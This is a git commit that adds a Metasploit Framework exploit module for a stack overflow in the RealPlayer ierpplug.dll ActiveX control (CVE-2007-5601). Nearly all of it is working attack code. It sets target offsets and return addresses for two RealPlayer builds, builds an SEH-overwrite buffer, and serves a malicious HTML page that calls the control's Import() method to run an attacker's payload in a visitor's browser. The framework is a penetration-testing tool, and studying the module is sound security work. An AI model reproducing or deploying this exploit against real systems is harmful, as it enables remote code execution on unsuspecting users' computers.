added exploit module realplayer_import.rb

git-svn-id: file:///home/svn/framework3/trunk@5213 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Mario Ceballos 2007-12-02 17:58:44 +00:00
parent 6645a7256c
commit f2103a4a93
1 changed files with 108 additions and 0 deletions

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##
# $Id: realplayer_import.rb 4953 2007-05-21 20:51:13Z hdm $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##
require 'msf/core'
module Msf
class Exploits::Windows::Browser::RealPlayer_Import < Msf::Exploit::Remote
include Exploit::Remote::HttpServer::HTML
include Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'RealPlayer ierpplug.dll ActiveX Control Playlist Name Buffer Overflow',
'Description' => %q{
This module exploits a stack overflow in RealOne Player V2 Gold Build 6.0.11.853 and
RealPlayer 10.5 Build 6.0.12.1483. By sending an overly long string to the "Import()"
method, an attacker may be able to execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => [ 'MC' ],
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2007-5601' ],
[ 'BID', '26130' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 800,
'BadChars' => "\x00\x09\x0a\x0d'\\",
'PrepenEncoder' => "\x81\xc4\x54\xf2\xff\xff",
},
'Platform' => 'win',
'Targets' =>
[
[ 'IE / RealOne Player 2 (6.0.11.853)', { 'Offset' => 4756, 'Ret' => 0x601aa72b } ], #rpmn3260.dll (6.0.9.1419)
[ 'IE / RealPlayer 10.5 (6.0.12.1483)', { 'Offset' => 4768, 'Ret' => 0x614bd13b } ], #rpmn3260.dll (6.0.9.2934)
],
'DisclosureDate' => 'Oct 18 2007',
'DefaultTarget' => 0))
end
def autofilter
false
end
def check_dependencies
use_zlib
end
def on_request_uri(cli, request)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
# Randomize some things
vname = rand_text_alpha(rand(100) + 1)
strname = rand_text_alpha(rand(100) + 1)
# Set the exploit buffer
filler = rand_text_english(target['Offset'])
seh = generate_seh_payload(target.ret)
sploit = filler + seh + rand_text_english(30724 - payload.encoded.length)
# [id(0x60020009), helpstring("Imports a file to RealPlayer's Media Library")]
# long Import(
# [in] BSTR file,
# [in, optional, defaultvalue("")] BSTR playlist,
# [in, optional, defaultvalue("")] BSTR clipInfo,
# [in, optional, defaultvalue(0)] long bPlayFile,
# [in, optional, defaultvalue(0)] long bCopyToMyMusic);
# Build out the message
content = %Q|
<html>
<object classid='clsid:FDC7A535-4070-4B92-A0EA-D9994BCC0DC5' id='#{vname}'></object>
<script language='javascript'>
var #{vname} = document.getElementById('#{vname}');
var #{strname} = new String('#{sploit}');
#{vname}.Import("Firstrun\\\\audio.rm" ,#{strname} ,"" ,0 ,0);
</script>
</html>
|
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the response to the client
send_response_html(cli, content)
# Handle the payload
handler(cli)
end
end
end